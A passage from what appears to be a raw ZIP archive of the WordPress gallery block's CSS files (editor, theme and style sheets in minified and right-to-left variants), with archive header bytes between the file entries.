1px #fff inset,0 0 0 3px var(--wp-admin-theme-color) inset;content:"";left:0;outline:2px solid #0000;pointer-events:none;position:absolute;right:0;top:0;z-index:1}.blocks-gallery-item figure.is-transient img{opacity:.3}.blocks-gallery-item .block-editor-media-placeholder{height:100%;margin:0}.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{display:flex}.wp-block-gallery ul.blocks-gallery-grid{margin:0;padding:0}@media (min-width:600px){.wp-block-update-gallery-modal{max-width:480px}}.wp-block-update-gallery-modal-buttons{display:flex;gap:12px;justify-content:flex-end}PK\d[#di���
theme-rtl.cssnu�[���.blocks-gallery-caption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .blocks-gallery-caption{
  color:#ffffffa6;
}PK\d[�
�3{{theme-rtl.min.cssnu�[���.blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:#ffffffa6}PK\d[�
�3{{
theme.min.cssnu�[���.blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:#ffffffa6}PK\d[#di���	theme.cssnu�[���.blocks-gallery-caption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .blocks-gallery-caption{
  color:#ffffffa6;
}PK\d[Bvt->->style-rtl.min.cssnu�[���.blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){display:flex;flex-wrap:wrap;list-style-type:none;margin:0;padding:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{display:flex;flex-direction:column;flex-grow:1;justify-content:center;margin:0 0 1em 1em;position:relative;width:calc(50% - 1em)}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){margin-left:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{align-items:flex-end;display:flex;height:100%;justify-content:flex-start;margin:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{display:block;height:auto;max-width:100%;width:auto}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{background:linear-gradient(0deg,#000000b3,#0000004d 70%,#0000);bottom:0;box-sizing:border-box;color:#fff;font-size:.8em;margin:0;max-height:100%;overflow:auto;padding:3em .77em .7em;position:absolute;text-align:center;width:100%;z-index:2}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{display:inline}.blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{flex-grow:1}.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{flex:1;height:100%;object-fit:cover;width:100%}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{margin-left:0;width:100%}@media (min-width:600px){.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{margin-left:1em;width:calc(33.33333% - .66667em)}.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{margin-left:1em;width:calc(25% - .75em)}.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{margin-left:1em;width:calc(20% - .8em)}.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{margin-left:1em;width:calc(16.66667% - .83333em)}.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{margin-left:1em;width:calc(14.28571% - .85714em)}.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{margin-left:1em;width:calc(12.5% - .875em)}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){margin-left:0}}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{margin-left:0}.blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{max-width:420px;width:100%}.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{justify-content:center}.wp-block-gallery:not(.is-cropped) .blocks-gallery-item{align-self:flex-start}figure.wp-block-gallery.has-nested-images{align-items:normal}.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){margin:0;width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2)}.wp-block-gallery.has-nested-images figure.wp-block-image{box-sizing:border-box;display:flex;flex-direction:column;flex-grow:1;justify-content:center;max-width:100%;position:relative}.wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{flex-direction:column;flex-grow:1;margin:0}.wp-block-gallery.has-nested-images figure.wp-block-image img{display:block;height:auto;max-width:100%!important;width:auto}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption):before{bottom:0;left:0;max-height:100%;position:absolute;right:0}.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption):before{-webkit-backdrop-filter:blur(3px);backdrop-filter:blur(3px);content:"";height:100%;-webkit-mask-image:linear-gradient(0deg,#000 20%,#0000);mask-image:linear-gradient(0deg,#000 20%,#0000);max-height:40%}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{background:linear-gradient(0deg,#0006,#0000);box-sizing:border-box;color:#fff;font-size:13px;margin:0;overflow:auto;padding:1em;scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-width:thin;text-align:center;text-shadow:0 0 1.5px #000;will-change:transform}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar{height:12px;width:12px}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-track{background-color:initial}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover::-webkit-scrollbar-thumb{background-color:#fffc}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover{scrollbar-color:#fffc #0000}@media (hover:none){.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{scrollbar-color:#fffc #0000}}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{display:inline}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{color:inherit}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>a,.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>div,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{flex:1 1 auto}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{background:none;color:inherit;flex:initial;margin:0;padding:10px 10px 9px;position:relative;text-shadow:none}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border:before,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded:before{content:none}.wp-block-gallery.has-nested-images figcaption{flex-basis:100%;flex-grow:1;text-align:center}.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){margin-bottom:auto;margin-top:0}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){align-self:inherit}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){display:flex}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{flex:1 0 0%;height:100%;object-fit:cover;width:100%}.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){width:100%}@media (min-width:600px){.wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*.75)}.wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*.8)}.wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*.83333)}.wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*.85714)}.wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*.875)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{width:100%}}.wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{max-width:420px;width:100%}.wp-block-gallery.has-nested-images.aligncenter{justify-content:center}PK\d[M40g�	�	editor-rtl.cssnu�[���:root :where(figure.wp-block-gallery){
  display:block;
}
:root :where(figure.wp-block-gallery)>.blocks-gallery-caption{
  flex:0 0 100%;
}
:root :where(figure.wp-block-gallery)>.blocks-gallery-media-placeholder-wrapper{
  flex-basis:100%;
}
:root :where(figure.wp-block-gallery) .wp-block-image .components-notice.is-error{
  display:block;
}
:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__content{
  margin:4px 0;
}
:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__dismiss{
  left:5px;
  position:absolute;
  top:0;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .components-placeholder__label{
  display:none;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{
  margin-bottom:0;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder{
  margin:0;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder .components-placeholder__label{
  display:flex;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder figcaption{
  z-index:2;
}
:root :where(figure.wp-block-gallery) .components-spinner{
  margin-right:-9px;
  margin-top:-9px;
  position:absolute;
  right:50%;
  top:50%;
}
.gallery-settings-buttons .components-button:first-child{
  margin-left:8px;
}

.gallery-image-sizes .components-base-control__label{
  margin-bottom:4px;
}
.gallery-image-sizes .gallery-image-sizes__loading{
  align-items:center;
  color:#757575;
  display:flex;
  font-size:12px;
}
.gallery-image-sizes .components-spinner{
  margin:0 4px 0 8px;
}
.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{
  outline:none;
}
.blocks-gallery-item figure.is-selected:before{
  bottom:0;
  box-shadow:0 0 0 1px #fff inset, 0 0 0 3px var(--wp-admin-theme-color) inset;
  content:"";
  left:0;
  outline:2px solid #0000;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}
.blocks-gallery-item figure.is-transient img{
  opacity:.3;
}
.blocks-gallery-item .block-editor-media-placeholder{
  height:100%;
  margin:0;
}
.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{
  display:flex;
}

.wp-block-gallery ul.blocks-gallery-grid{
  margin:0;
  padding:0;
}

@media (min-width:600px){
  .wp-block-update-gallery-modal{
    max-width:480px;
  }
}

.wp-block-update-gallery-modal-buttons{
  display:flex;
  gap:12px;
  justify-content:flex-end;
}PK\d[O�'�7>7>
style.min.cssnu�[���.blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){display:flex;flex-wrap:wrap;list-style-type:none;margin:0;padding:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{display:flex;flex-direction:column;flex-grow:1;justify-content:center;margin:0 1em 1em 0;position:relative;width:calc(50% - 1em)}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){margin-right:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{align-items:flex-end;display:flex;height:100%;justify-content:flex-start;margin:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{display:block;height:auto;max-width:100%;width:auto}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{background:linear-gradient(0deg,#000000b3,#0000004d 70%,#0000);bottom:0;box-sizing:border-box;color:#fff;font-size:.8em;margin:0;max-height:100%;overflow:auto;padding:3em .77em .7em;position:absolute;text-align:center;width:100%;z-index:2}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{display:inline}.blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{flex-grow:1}.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{flex:1;height:100%;object-fit:cover;width:100%}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{margin-right:0;width:100%}@media (min-width:600px){.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{margin-right:1em;width:calc(33.33333% - .66667em)}.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{margin-right:1em;width:calc(25% - .75em)}.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{margin-right:1em;width:calc(20% - .8em)}.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{margin-right:1em;width:calc(16.66667% - .83333em)}.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{margin-right:1em;width:calc(14.28571% - .85714em)}.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{margin-right:1em;width:calc(12.5% - .875em)}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){margin-right:0}}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{margin-right:0}.blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{max-width:420px;width:100%}.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{justify-content:center}.wp-block-gallery:not(.is-cropped) .blocks-gallery-item{align-self:flex-start}figure.wp-block-gallery.has-nested-images{align-items:normal}.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){margin:0;width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2)}.wp-block-gallery.has-nested-images figure.wp-block-image{box-sizing:border-box;display:flex;flex-direction:column;flex-grow:1;justify-content:center;max-width:100%;position:relative}.wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{flex-direction:column;flex-grow:1;margin:0}.wp-block-gallery.has-nested-images figure.wp-block-image img{display:block;height:auto;max-width:100%!important;width:auto}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption):before{bottom:0;left:0;max-height:100%;position:absolute;right:0}.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption):before{-webkit-backdrop-filter:blur(3px);backdrop-filter:blur(3px);content:"";height:100%;-webkit-mask-image:linear-gradient(0deg,#000 20%,#0000);mask-image:linear-gradient(0deg,#000 20%,#0000);max-height:40%}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{background:linear-gradient(0deg,#0006,#0000);box-sizing:border-box;color:#fff;font-size:13px;margin:0;overflow:auto;padding:1em;scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-width:thin;text-align:center;text-shadow:0 0 1.5px #000;will-change:transform}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar{height:12px;width:12px}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-track{background-color:initial}.wp-block-gallery.has-nested-images figure.wp-block-image 